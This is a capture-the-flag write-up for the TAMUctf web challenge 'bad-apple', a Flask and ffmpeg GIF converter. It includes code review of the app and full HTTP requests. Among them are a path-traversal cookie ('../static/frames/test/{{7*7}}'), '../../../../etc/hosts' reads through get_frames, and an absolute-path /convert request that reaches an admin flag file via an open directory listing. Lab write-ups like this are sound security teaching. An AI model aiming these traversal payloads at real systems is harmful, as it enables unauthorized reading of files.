# bad-apple - web ## Information ``` -rw-rw-r-- 1 w1ntermute w1ntermute 836 Mär 18 22:19 Dockerfile -rw-rw-r-- 1 w1ntermute w1ntermute 631 Mär 18 22:19 httpd-append.conf -rwxrwxr-x 1 w1ntermute w1ntermute 6146 Mär 21 00:21 wsgi_app.py* ``` We can control user_id and filename on all routes. On /upload we can control user_id to change the directory. filename is cleaned with [secure_filename](https://tedboy.github.io/flask/generated/werkzeug.secure_filename.html). Under /convert user_id is cleaned with secure_filename but filename only with ` safe_name = os.path.splitext(os.path.basename(filename))[0]` ## Notables The /convert endpoint seems to construct an `input_path` variable insecurely by directly using the filename from the GET parameter without sanitization (wsgi_app.py:144). This looks like its later passed to the `extract_frames` function which uses it to construct a command: ```python def extract_frames(input_path, output_dir, gif_name): # ... cmd = [ 'ffmpeg', '-i', input_path, '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen', '-y', f'{output_dir}/palette.png' ] subprocess.run(cmd, capture_output=True) ``` This should grant code execution IF we can get a malicious filename past this check in line 145: ```python if not os.path.exists(input_path): return "File not found", 404 ``` ## extract_frames It uses `subprocess.run` to extract frames via ffmpeg. ```python cmd = [ 'ffmpeg', '-i', input_path, '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen', '-y', f'{output_dir}/palette.png' ] subprocess.run(cmd, capture_output=True) ``` ## Strategy With /uploads we can upload a file to every path we want. So with /uploads we can upload arbitrary files. ```http= POST /upload HTTP/1.1 Host: bad-apple.tamuctf.com Cookie: user_id=../static/frames/test/{{7*7}} Content-Length: 190 Sec-Ch-Ua-Platform: "Linux" User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAEo5u9BrAwBXC9D Sec-Ch-Ua-Mobile: ?0 Accept: */* Origin: https://bad-apple.tamuctf.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bad-apple.tamuctf.com/ Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=1, i Connection: keep-alive ------WebKitFormBoundaryeAEo5u9BrAwBXC9D Content-Disposition: form-data; name="file"; filename="frame_1.png" Content-Type: image/png test ------WebKitFormBoundaryeAEo5u9BrAwBXC9D-- ``` And this gets rendered as one frame in the UI. ## convert ```http= GET /convert?user_id=24720472&filename=SmallFullColourGIF.gif HTTP/1.1 Host: bad-apple.tamuctf.com Cookie: user_id=24720472 Cache-Control: max-age=0 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: keep-alive ``` gives you ```http= HTTP/1.1 302 FOUND Server: nginx/1.24.0 (Ubuntu) Date: Sat, 21 Mar 2026 15:24:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 279 Connection: keep-alive Location: /?view=SmallFullColourGIF&user_id=24720472 Redirecting...

Redirecting...

You should be redirected automatically to the target URL: /?view=SmallFullColourGIF&user_id=24720472. If not, click the link. ``` # Endpoints Per endpoint: - input - output ## / input - user_id - not sanitized, set by cookie - view_gif = request.args.get('view') - not sanitized, set by arg - view_user_id = request.args.get('view_user_id', user_id) - not sanitized, set by arg Because of ` if f.startswith("frame_") and f.endswith(".png")` it looks like there is no file inclusion here. `render_template()` takes unsaitized `user_id` as argument. This is reflected in template, but it looks like this is not template injectable. ## /upload inputs - `filename = secure_filename(file.filename)` - probably secure - `user_id = request.cookies.get("user_id")` - insecure, not sanitized, set by cookie - `user_dir = os.path.join(app.config["UPLOAD_FOLDER"], user_id)` - might be traversable, but folder has to exist - `filepath = os.path.join(user_dir, filename)` - might overwrite files, when dir exists?? - `safe_name = os.path.splitext(os.path.basename(filename))[0]` - no traversal here - `output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)` - might be traversable - Server error on existance: https://bad-apple.tamuctf.com/get_frames?user_id=..&gif_name=../../../../etc/hosts - https://bad-apple.tamuctfyp.com/get_frames?user_id=..&gif_name=../../../../etc/asdf ## Solution Over /browse you can see the flag filename. With this, you can call convert. ``` GET /convert?user_id=admin&filename=/srv/http/uploads/admin/e017b6321bda6812ec80e9fac368709e-flag.gif HTTP/1.1 Host: bad-apple.tamuctf.com Cookie: user_id=24720472 Cache-Control: max-age=0 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: keep-alive ``` After this, go to / as user_id=admin. Now you should be able to select the flag file. The gif shows you the flag. This was only possible because, the httpd config enabled directory listing. ``` WSGIScriptAlias / /srv/app/wsgi_app.py Require all granted Alias /browse /srv/http/uploads Options +Indexes DirectoryIndex disabled IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden AllowOverride None Require all granted AuthType Basic AuthName "Admin Area" AuthUserFile /srv/http/.htpasswd Require valid-user ``` Important is the Options +Indexes. This enables the index